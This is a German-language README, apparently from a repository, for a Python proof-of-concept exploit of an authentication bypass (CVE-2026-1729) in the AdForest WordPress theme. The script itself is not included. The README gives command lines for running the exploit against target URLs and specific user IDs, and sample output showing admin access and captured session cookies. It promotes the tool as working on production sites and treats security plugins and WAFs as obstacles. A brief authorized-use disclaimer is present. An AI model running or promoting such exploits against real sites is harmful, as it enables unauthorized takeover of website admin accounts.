CVE-2026-1729 - AdForest WordPress Authentifizierungs-Bypass PoC

Beschreibung

Einfacher Proof of Concept für CVE-2026-1729 (PoC) - Authentifizierungs-Bypass-Schwachstelle im AdForest WordPress-Theme. Authored by f3ds cr3w est 2oo2 blog

Funktionen

✅ Direkter Admin-Zugriff ohne Anmeldedaten
✅ Funktioniert auf produktiven WordPress-Installationen
✅ Keine Docker-Einrichtung erforderlich
✅ Einfache Befehlszeilenschnittstelle
✅ Sitzungspersistenz

Voraussetzungen

Python 3.6+
requests Bibliothek

Installation

pip install requests

Verwendung

Grundlegende Verwendung

python poc/exploit.py https://target-site.com

Bestimmte Benutzer-ID anvisieren

python poc/exploit.py https://target-site.com --user-id 2

Beispiele

# Exploit default admin (user ID 1)
python poc/exploit.py https://example.com

# Exploit specific user account
python poc/exploit.py https://example.com --user-id 5

# Test multiple targets
python poc/exploit.py https://site1.com
python poc/exploit.py https://site2.com --user-id 3

Ausgabe

CVE-2026-1729 - AdForest WordPress Authentication Bypass
=======================================================
WARNING: For authorized testing only!
=======================================================
[+] Target: https://example.com
[+] Targeting user ID: 1
[+] Sending exploit to: https://example.com/wp-admin/admin-ajax.php
[+] SUCCESS! Admin access granted
[+] Admin URL: https://example.com/wp-admin/
[+] Session cookies: {'wp-settings-time-1': '1234567890', 'wordpress_logged_in_...': '...'}
[+] Logged in as: admin

🎯 Exploit completed successfully!
You now have admin access to the WordPress site.

Was nach dem Exploit passiert

Admin-Zugriff: Sie erhalten vollen Admin-Zugriff auf /wp-admin/
Sitzungspersistenz: Der Exploit behält Sitzungscookies bei
Benutzerinformationen: Zeigt an, welches Konto kompromittiert wurde
Direkter Zugriff: Sie können sofort auf das WordPress-Admin-Dashboard zugreifen

Hinweise

Rechtmäßige Nutzung: Nur auf Websites verwenden, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben
Anforderungen an das Ziel: Die Website muss das AdForest-Theme installiert haben
Erfolgsrate: Funktioniert auf verwundbaren Versionen des AdForest-Themes
Keine Installation: Es muss nichts auf dem Zielserver installiert werden

Fehlerbehebung

Wenn der Exploit fehlschlägt:

Überprüfen, ob das AdForest-Theme installiert ist
Prüfen, ob die Website WordPress verwendet
Sicherstellen, dass die Theme-Version verwundbar ist
Keine WAF oder Sicherheits-Plugins blockieren die Anfrage

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

Beliebteste

Über